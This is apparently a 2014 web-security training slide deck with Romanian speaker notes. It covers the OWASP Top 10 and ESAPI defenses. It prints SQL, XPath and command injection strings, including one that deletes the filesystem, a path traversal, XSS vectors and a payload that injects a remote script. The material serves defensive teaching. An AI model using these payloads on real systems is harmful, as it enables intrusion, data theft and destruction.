Web Apps Security
- 2. © 2014 IBM Corporation2
● The code that we write is not safe !
● Learn by exemplifying
● Introduce developer to security APIs
- 3. © 2014 IBM Corporation3
Interesting facts
● Myth: We are secure because we have a firewall
– 75% of vulnerabilities are at web application layer
Gartner Group (2002 report)
– Basically network layer protection just denies access to
services
● Myth: I am safe because I‘m connected via HTTPS/SSL
– HTTPS will just ensure that no one intercepts the
information.
– A web page can include static resources or other content
from the same host via a non secure channel
- 4. © 2014 IBM Corporation4
Interesting facts
● NASA counted 5,408 security breaches where some access was
given or malicious software was installed. In 2011 alone
they had 47 attacks they described as ―advanced persistent
threats,‖ serious attacks by well-funded ―individuals or
nations.‖ Of those, 13 succeeded, and one attack based in
China gained complete access to Jet Propulsion Laboratory
(JPL) systems — read, write, delete, add and delete
users, modify logs, everything.
● Paul Marting ( NASA inspector general ) in a written testimony to US
government
● Visa, MasterCard, AmericanExpress & Discover Financial
Systems, were hit in March by a data-security breach when a
third-party service provider ( Global Payments Inc.)
discovered its systems were compromised
● www.reuters.com
- 5. © 2014 IBM Corporation5
Let’s start with OWASP Top 10
- 6. © 2014 IBM Corporation6
● Open web application security project ( www.owasp.org)
● not-for-profit worldwide charitable organization focused on
improving the security of application software.
● Users and adopters of APIs and standards: US Federal Trade
Commision,Citibank, PwC, HP, IBM Global Services, US Bureau of
Alcohol Tobacco and Firearms,etc.
● OWASP Top Ten 2013 ( the 10 most common security flaws found
in web applications in 2013 ):
● A1 : Injection
● A2 : Broken Authentication and Session Management
● A3 : Cross-Site Scripting (XSS)
● A4 : Insecure Direct Object References
● A5 : Security Misconfiguration
● A6 : Sensitive Data Exposure
● A7 : Insecure Cryptographic Storage
● A8 : Cross-Site Request Forgery (CSRF)
● A9 : Using component with known vulnerabilities
● A10: Un-validated Redirects and Forwards
OWASP Top Ten
- 7. © 2014 IBM Corporation7
A1 Injection
● Various forms of injection
● SQL Injection
● Xpath injection
● Command injection
● Path based injection
● LDAP injection
● Etc.
- 8. © 2014 IBM Corporation
Select user_information
from user_table
where username='’' or 1=1 -– 'and
password=’abc’
8 A1 Injection
Select user_information from user_table
where username=’input username’ and password=’input password’
Web Server Application Server
User Database
User
https
SQL injection
- 9. © 2014 IBM Corporation9 A1 Injection
Xpath injection
FindUserXPath becomes :
//Employee[UserName/text()='blah' or 1=1 or 'a'='a' And
Password/text()='blah']
Web Server Application Server
User Database
User
https
FindUserXPath = "//Employee[UserName/text()='" + Request("Username")
+ "' And Password/text()='" + Request("Password") + "']";
<?xml version="1.0" encoding="utf-8"?>
<Employees>
<Employee ID="1">
<FirstName>Arnold</FirstName>
<LastName>Baker</LastName>
<UserName>ABaker</UserName>
<Password>SoSecret</Password>
<Type>Admin</Type>
</Employee>
<Employee ID="2">
<FirstName>Peter</FirstName>
<LastName>Pan</LastName>
<UserName>PPan</UserName>
<Password>NotTelling</Password>
<Type>User</Type>
</Employee>
</Employees>
- 10. © 2014 IBM Corporation10 A1 Injection
Command injection
Web Server Application Server
User Database
User
https
$ ls -l .profile ; cat /etc/password
$ “ls -l” + request.getParameter(“file_name”)
- 11. © 2014 IBM Corporation11
Path based injection ( manipulation / traversal )
● Atacker gains access to system files by
manipulating a 'path/to/file.txt' supplied
as a parameter
● For plain files, one can browse through the
file system with directory style paths (
../../../../conf/tomcat-users.xml )
● demo
- 12. © 2014 IBM Corporation12 A3 Broken authentication and session management
A2 Broken Authentication and Session Management
Attacker uses leaks or flaws in the
authentication or session management functions
to impersonate users.
• e.g., exposed accounts, passwords, session IDs
- 13. © 2014 IBM Corporation13 A3 Broken authentication and session management
● Session ids should not be exposed in the URL (
http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJ
UN2JV?dest=Hawaii )
● They will get recorded in logs of servers, proxies and routers can be
easily distributed
● Session cookies must be manipulated only by http headers sent by the
server (HttpOnly flag)
● Sessions should timeout in accordance to application risk rating
● All navigation within that domain should be secure (https) because an
attacker can 'snif' the session id and steal the session.
● Setting 'secure' flag on session cookies is a must. This way
session cookie will not be sent on insecure channels ( e.g.
including static resources or embedding remote html )
● Session ids should change after a login attempt
● This prevents session fixation attacks when an attacker obtains (by some
other means) the value of the session id and if the target user has a
valid logged-in session on a server, the attacker is able to join the
session just by setting the session cookie
● demo
A2 Broken Authentication and Session Management
- 14. © 2014 IBM Corporation14 A2 Cross site scripting
A3 Cross site scripting
● Stored XSS
● Reflected XSS
- 15. © 2014 IBM Corporation15 A2 Cross site scripting
Stored XSS attacks
● An input field which is not properly validated will insert script tags
besides the usual field value
● If the field is displayed literally in another part of the
application, it will result in the code within the script tags being
executed
Web Server Application Server
User Database
User
https
Web Server Application Server
User Database
User
https
- 16. © 2014 IBM Corporation16 A2 Cross site scripting
Other flavors of XSS
● Reflected input
● Input from the user is echoed to the screen. (e.g.
error messages like 'input X is invalid' – in this
case X can contain XSS code and more then often can
be sent to a different user via an URL)
● Pretty much all tags are vulnerable to XSS:
● All tags contain event functions
(onmouseover,onkeyup, etc.) and they can be passed
in as input somewhere
● HTML attributes are also vulnerable
● E.g <frame>, <iframe> and <img> can have the src
attribute javascript injectable ( e.g <iframe
src=‖javascript:alert(1)‖/> will be executed by
most browsers )
● Even css style tags are vulnerable.
● demo
- 17. © 2014 IBM Corporation
Other flavors of XSS
● And XSS attack vector list goes on:
● <BODY BACKGROUND="javascript:alert('XSS')">
● <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
● <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
● <META HTTP-EQUIV="Link"
Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
● <STYLE>.XSS{background-
image:url("javascript:alert('XSS')");}</STYLE><A
CLASS=XSS></A>
● Comprehensive list of vectors:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
- 18. © 2014 IBM Corporation18 A2 Cross site scripting
Dangerous use of eval
● This is usually done when behavior of page
needs to be controlled from the server.
● E.g show different alert() windows.
● eval() function is the most dangerous. Do not
put dynamic content in the eval() function.
● The reason for this is that validation of input
which goes between the brackets of the eval()
is hard to validate. You can basically write js
and have the browser interpret it using a
simple set of characters.
● In some cases js code can NOT be
escaped/commented ( OWASP directive ), so it is
really hard to defend against this attack.
● demo
- 19. © 2014 IBM Corporation19 A4: Insecure Direct Object References & A5 Cross site request forgery
A4: Insecure Direct Object References & CSRF
● Cross site request forgery (CSRF)
● Direct object references
- 20. © 2014 IBM Corporation20 A4: Insecure Direct Object References & A5 Cross site request forgery
Request forgery and weak access control
● Attacker will 'forge' request
parameters based on 'similarities'
between actions and navigation
● Easiest to forge will be ids which are
usually sequential integers
● Normally all actions within an
application should rely on
authenticated principal(user) and NOT
on supplied parameters
● demo
- 21. © 2014 IBM Corporation21 A7 Insuficient cryptographic storage & A9: Insufficient Transport Layer Protection
A7 Insecure cryptographic storage &
A9: Insufficient Transport Layer Protection
- 22. © 2014 IBM Corporation22 A7 Insuficient cryptographic storage & A9: Insufficient Transport Layer Protection
Insecure HTTP header authentication
● Http header authentication is nothing but a
Base64 encoding of 'username:password‗
● Make sure all HTTP authenticated traffic is
encrypted
GET /exchange/ HTTP/1.1
Host: webmail.xxxx.xx
Connection: keep-alive
Cache-Control: max-age=0
Authorization: Basic dTI5ODMyOTpteV9wYXNzd29yZA==
User-Agent: Mozilla/5.0 (Windows NT 5.1) .....
Accept:text/html,application/xhtml+xml,.....
.....
dTI5ODMyOTpteV9wYXNzd29yZA==
u298329:my_password
- 23. © 2014 IBM Corporation
Encryption algorithm strength
Numar de
caractere
Algoritm incriptare Nr chei / secunda Alfabet Timp
5 Raw MD5 8754 a-z, A-Z 44 seconds
5 Raw MD 5 8754 a-z, A-Z, 0-9 1 minutes 46 seconds
5 Raw MD 5 8754 a-z, A-Z, 0-9, !@#$%^&*()_+= 4 minutes 53 seconds
5 Raw SHA-256 2600 a-z, A-Z 2 minutes 29 seconds
5 Raw SHA-256 2600 a-z, A-Z, 0-9 5 minutes 58 seconds
5 Raw SHA-256 2600 a-z, A-Z, 0-9, !@#$%^&*()_+= 16 minutes 28 seconds
6 Raw MD5 8754 a-z, A-Z 38 minutes 22 seconds
6 Raw MD 5 8754 a-z, A-Z, 0-9 1 hours 49 minutes 54 seconds
6 Raw MD 5 8754 a-z, A-Z, 0-9, !@#$%^&*()_+= 6 hours 11 minutes 46 seconds
6 Raw SHA-256 2600 a-z, A-Z 2 hours 9 minutes 13 seconds
6 Raw SHA-256 2600 a-z, A-Z, 0-9 6 hours 10 minutes 4 seconds
6 Raw SHA-256 2600 a-z, A-Z, 0-9, !@#$%^&*()_+= 20 hours 51 minutes 43 seconds
8 Raw MD5 8754 a-z, A-Z 72 days 1 hours 37 minutes
8 Raw MD 5 8754 a-z, A-Z, 0-9 293 days 9 hours 50 minutes
8 Raw MD 5 8754 a-z, A-Z, 0-9, !@#$%^&*()_+= 4 years 30 days 5 hours 57 minutes
8 Raw SHA-256 2600 a-z, A-Z 242 days 15 hours 29 minutes
8 Raw SHA-256 2600 a-z, A-Z, 0-9 2 years 257 days 9 hours 43 minutes
8 Raw SHA-256 2600 a-z, A-Z, 0-9, !@#$%^&*()_+=
13 years 272 days 15 hours 55 minutes
- 24. © 2014 IBM Corporation24 A7 Insuficient cryptographic storage & A9: Insufficient Transport Layer Protection
Password strength
Brute-forcing passwords
• '1234567890' can be cracked in 472 s
• 'plainpw' can be cracked in 420 s
• 'PlainPw' can be cracked in 1681 s
• 'Pl4inPw' can be cracked in 126 days
• 'P|4inPw' can be cracked in 21 years
- 25. © 2014 IBM Corporation25 A10 Unvalidated redirects and forwards
A10 Unvalidated redirects and forwards
- 26. © 2014 IBM Corporation26 A7 Insuficient cryptographic storage & A9: Insufficient Transport Layer Protection
Password strength
Be careful when using forward() and include()
• It‘s an internal mechanism which will bypass
standard AS authorization
• request.getRequestDispatcher(―protectedUrl‖)
• forward()
• include()
• demo
- 27. © 2014 IBM Corporation27
Mitigating security threats
- 28. © 2014 IBM Corporation28
● OWASP created the ESAPI in order to 'mitigate'
the top 10 risks. The API is available in
pretty much every language ( JEE,PHP,
.NET,Python, Ruby, etc.)
● It is basically a collection of classes (API) that
encapsulate the key security operations that an
application needs
● It has been designed to make it easy for programmers
to retrofit security into existing applications
● It is scalable at enterprise levels
- 29. © 2014 IBM Corporation
● It addresses the following aspects:
– Authentication
– Access control
– Input validation
– Output encoding/escaping
– Cryptography
– Error handling and logging
– Communication security
– HTTP security
– Security configuration
– And many more…
OWASP ESAPI
- 30. © 2014 IBM Corporation30 Input and output validation
Mitigating XSS and Injection attacks
• Canonicalize input
• Convert encoded %3c%3e → <>
• Convert encoded <> → <>
• Validate input (at least for these characters <>;:”'()'&)
• Best practice is to throw away potentially harmful content.
Do not try to 'clean up' the content, because many cleanup
algorithms can be circumvented ( OWASP )
• e.g. some_string.replaceAll(“<script>”,””); attacker can just
pass in “<scr<script>ipt>” and the result will be <script>
• Attack vector can also be “< script >”
• Can very well be “ < ScRiPt >”
• Use a whitelist of characters instead of blacklist (
permitted vs unpermitted ). The blacklist can never be
comprehensive enough.
• Attacks can be extremely complex, so there is also a wide
range of characters that can pose threats
- 31. © 2014 IBM Corporation31 Input and output validation
Mitigating XSS and Injection attacks
• It is designed to throw meaningfull exception if an attack is suspected
●IntrusionException in case a potential attack is detected ( harmfull
characters present)
● ValidationException in case an validation rules fail ( double encoding
present and an attack is suspected)
–For Http parameters
●ESAPI.validator().assertValidHTTPParameters(...)
–For file path based parameters
●ESAPI.validator().getValidDirectoryPath(..)
●ESAPI.validator().getValidFileName(..)
–For plain HTML input
●ESAPI.validator().getValidInput(..)
Use ESAPI Validator
- 32. © 2014 IBM Corporation32 Input and output validation
● Contextually encode output
– For HTML ( e.g ESAPI HTML encoder )
● ESAPI.encoder().encodeForHTML(..)
– For tag attributes (e.g ESAPI HTML attribute
encoder )
● ESAPI.encoder().encodeForHTMLAttribute(..)
– For CSS ( e.g ESAPI CSS encoder )
● ESAPI.encoder().encodeForCSS(..)
– For Javascript ( e.g. ESAPI Javascript encoder)
● ESAPI.encoder().encodeForJavascript(..)
– For queries in LDAP Dbs:
– demo
● ESAPI.encoder().encodeForDN(...)
Mitigating XSS and Injection attacks
Use ESAPI encoder
- 33. © 2014 IBM Corporation33
Encoding of output example
● A developer can also encode output. Using the ESAPI.encoder() you
can generate safe HTML, Js, CSS,...
● Below we are encoding this string → <>"'%&.()[]@#//-+
– Encoding for HTML :
– <>"'%&.()[]&#x
40;#//-+
– Encoding for CSS :
– 3c 3e 22 27 25 26 2e 28 29 5b 5d 40 23 2f 2f
2d 2b
– Encoding for JS :
– x3Cx3Ex22x27x25x26.x28x29x5Bx5Dx40x23x2Fx2Fx
2Dx2B
– Encoding for html attribute :
– <>"'%&.()[]&#x
40;#//-+
- 34. © 2014 IBM Corporation34
● Keep things simple
● Use mature APIs/frameworks
● Don‘t give away info about the system
● 404 errors, exceptions, html comments
● Keep entire site under https
● Encode output contextually
● Validate input globally
● Keep sessionid safe ( httponly, secure )
● Change it after successful login
Checklist
- 35. © 2014 IBM Corporation35
Thank you !
by Victor Bucutea
Editor's Notes
- It may seem safe, but it’s not. Vrem sa vedem de ce nu e ‘safe’
Nu putem fi 100% ‘safe’ insa putem tinde catre aceasta cifra
Vom vedea exemple de atacuri, vulnerabilitati
Speram sa avem must-have security list la sf. cursului
O sa vedeme ca sistemee de securitate care nu sunt mature si testate sunt doar obstacole
Un atacator doar va ‘ocoli’ obstacolele.
Ce inseamna un API sigur si ce dezavantaje dpdv functional implica ele
Va fi intotdeauna o balanta intre functionalitate, securitate si buget
- E firesc, doar blocam accesul la Services like RPC, Net-BIOS, FTP, etc. and it will never deny access to &apos;exposed&apos; services
Nu ne pazeste de problemele de securitate din aplicatie. Punct.
Ba chiar mai rau. HTTPS rosu in bara de browser inseamna conexiune interceptabila. Punct.
- Am copiat citatul litera cu litera
E din 2011 insa e despre NASA
- OWASP – One stop shop in securitate.
Organizatie non-profit, formata din lideri si experti in domeniu
API-uri, teste de securitate automate, dummy vulnerable web-apps (WebGoat), tutoriale pentru imbunatatirea codului
Incepem cu cele mai populare 10 tipuri de atacuri.
Grupeaza 90% din atacurile potentiale insa nu vom putea intra in detaliu
Vom trece doar prin cele cu bold
Cele fara bold tin mai mult de configurare sau pur si simplu neglijenta (A6, A9)
- * Consta in ‘injectarea’ un string intr-un query sau intr-o comanda externa
a.i.
acel query sau acea comanda sa intoarca un alt rezultat
sau sa faca alta actiune
- Observam ca suntem conectati prin HTTPS si in spatele firewall-ului
In realitate query-ul e mult mai complicat
Si vectorul de atac (‘ or 1=1 --) e mult mai complicat
Prietenul lui cel mai bun Hibernate/JPA injection (Query-ul ar fi JPA si nu SQL)
Poate da acces la mai multe date decat este autorizat user-ul ( modifcand clauza de where )
Poate modifica date unde utilizatorul nu are acces ( modificand clauza de where intr-un update stmt )
Cel mai rau se poate adauga ‘;’ si executa un query nou
- Un alt exemplu mai putin intalnit, pentru a arata ca injectia are f multe valente
Insa odata ce exista o interogare XML cu Xpath , vulnerabilitatea apare
- Avem un camp de input a carui valoare va fi concatenata unei comenzi de sistem.
Va afisa rezultatul ls –l.
Voi introduce un vector de atac, si asta e rezultatul
Asta se intampla cand output-ul comenzii se afiseaza pe ecran.
In realitate nu e niciodata asa, insa poate introduce un input a.i. poate rula orice comanda !!! Cu drepturile procesului java.exe !!!
Input mai putin evident
Upload de excel ( in campurile caruia putem introduce orice
, “” )
Ls –l .profile; rm –rf /
Cel mai bun indicator al vulnerabilitatii este concatenarea string-urilor in query
Uneori ascunsa intr-un API de build al query-ului
Ca sa ne pazim
Folositi intotdeauna parametrii query-ului (PreparedStatement, Query.setParameter, etc.)
Folositi user cu drepturi restranse pentru conectarea la DB, LDAP, etc.
Rulati AppServer-ul cu un user dedicat cu drepturi restranse
Nu concatenati continut dinamic in linia de comanda ( care un bad practice oricum)
- Unul dintre cele mai ‘ascunse’
Vulnerabilitatea apare atunci cand folosim input dinamic pentru a lua o referinta la un fisier de pe disc
FileInputStream, File, IOUtils
http://localhost/WebGoat/attack?Screen=57&menu=200
Dupa demo
Cum ne pazim ?
Validare de input
Nu lasa utilizatorul sa introduca o cale catre fisier ( chiar si hidden parameters )
- HttpOnly & Secure flags configurabil in Servlet 3.0 prin &lt;cookie-config&gt; tag
Avem o aplicatie care include o resursa cu adresa absoluta
Clear jsessionid cookie from chrome://settings/cookies
Open a browser and navigate to https://localhost:8443/web-security-test/
Notice that the tomcat 7.0.27 will set by default the HttpOnly and Secure flags
BUT it will not set the secure flag if we first visit the address via a http connection
Clear jsessionid cookie from chrome://settings/cookies
Open a browser and navigate to http://localhost/web-security-test/
Notice that the image has the JSESSIONID in the request header
The rabbit hole goes much deeper.
Incarcam resurse statice din locuri mai putin evidente
JS
CSS (@import , background images, etc)
- http://localhost/WebGoat/attack?Screen=20&menu=900&stage=1
Ne logam cu Tom
In campul de street introducem un &lt;script&gt;alert(1)&lt;/script&gt;
Ne logam cu Jerry
Cautam dupa profilul lui Tom
!!! Nu doar tag-ul de &lt;script&gt; este un vector XSS. Aproape orice tag HTML are event binding actions
onmouseover,
onkeyup
Onclick
&lt;div onmouseover=“alert(1)”/&gt;
- Executia src attribute depinde de la browser la browser
a little-known feature, some CSS implementations permit JavaScript code to be embedded in stylesheets ( ex in I.E )
- Exploram putin contextele in care XSS poate aparea
&lt;SCRIPT&gt; tag hello User!&quot;); console.log(&apos;attack&apos;);//
inside eval() &quot;);var headID = document.getElementsByTagName(&quot;head&quot;)[0];
var newScript = document.createElement(&quot;script&quot;);
newScript.type = &quot;text/javascript&quot;;
newScript.src = &quot;http://www.somedomain.com/somescript.js&quot;;
headID.appendChild(newScript);//
2 feluri de a ne pazi :
Validare de input
Pb complicata pentru ca acel continut dinamic poate fi in foarte multe contexte
In exemplu variabila este afisata in context HTML
Insa se poate afisa in context
JS,
CSS,
atribut HTML,
cookie,
Header HTTP
Incodare output
Vom folosi API-urile ESAPI
Mai toate framework-urile incodeaza output-ul, insa nu pentru toate contextele in care apare
Un mod universal de a incoda absolut ORICE variabila
- Eval() … evalueaza un string ca si cod java script.
Poate contine orice cod js valid.
Rar intalnit continut dinamic in interiorul unui eval().
DACA este totus intalnit, atunci este EXTREM de susceptibil la un XSS
- Id-urile se pot ghici foarte usor.
Enumerare prin ele si poti obtine acces la date pentru care nu esti autorizat
Mai mult URL-ul se poate ghici :
http://somehost/actions/updateUser ( cu id-ul pasat ca si parametru )
http://somehost/actions/deleteUser ( cu id-ul pasat ca si parametru )
http://localhost/WebGoat/attack?Screen=20&menu=900&stage=5
Larry isi poate vedea doar propriul profil
Modificam ID-ul din option list la 110
Modificam si actiunea in DeleteProfile ( intuitiv ) si vedem ca Joane McDougal nu mai exista in lista
NU expuneti id-uril in BD. Expuneti niste randomizare ale acestora
Mai mult ca sigur id-urile respective sa fie folosite in alta parte a aplicatiei
Mai mult un atacator itereaza prin id-uri
Never trust supplied data
ANYTHING in the HTTP Request can be altered
METHOD (GET ,POST )
Query
Headers
Cookies
Etc.
- Si DIGEST e doar o incodare MD5 a parolei, care poate fi f usor sparta ( mai jos )
- Masina pe care se face calculul este un 8 core i7 la 3.2 Ghz ( adica un laptop bun de la emag )
Timpul este suma duratelor de timp pentru a incripta toate variantele si a compara cu string-ul tinta.
Parolele cu mix de alfa numeric si simboluri sunt enervante insa necesare
* Source: http://calc.opensecurityresearch.com/
- Analizam un atac de brute-force NU unul de
Dictionar
Substitutie de caractere ( E = 3 , l =1 , etc. )
Secvente de key ( pe orizontala, pe diagonala, etc. )
- Folosit rar in practica, insa folosit des de framework-uri
Demo http://localhost/web-redirect-test/admin/admin.jsp
Login 403
Go to http://localhost/web-redirect-test/forward
Go to http://localhost/web-redirect-test/include
- Vom studia cele cu bold
- Canonicalizarea inseamna aducerea la cea mai simpla forma de reprezentare
ESAPI are un API pentru asa ceva
Atacuri ce folosesc incodare dubla spre ex sunt complicate si nu pot fi usor prezentate
Este un ‘good practice’, eviti double encoding-urile ( care sunt forme de atac )
- Daca vrei sa fii ‘mai catolic decat papa’ sau daca ai date f sensibile de protejat
- Let’s give it a try.
Reflected XSS
The iframe tag will need to use the validator
Apparently javascript&#x3a;console.log&#x28;&#x27;x&#x27;&#x29; is a valid javascript attack vector
Script tag ( encode JS )
CSS Styles ( encode for CSS )
Eval (encode for JS)
- Encoding-ul este un safety-net
Un strat in plus care protejeaza de atacurile ce au trecut de restul straturilor
Incodand in felul asta poti fi sigur ca nu scapa nici un vector de atac in nici un context
- In cazul in care se doreste output HTML ( forms, etc. ) insa se vrea sa fie ‘clean’.
Pentru a emula rich user content ( e.g. un document HTML), in general se foloseste MARKDOWN language ( wikis, stackoverflow, forumuri).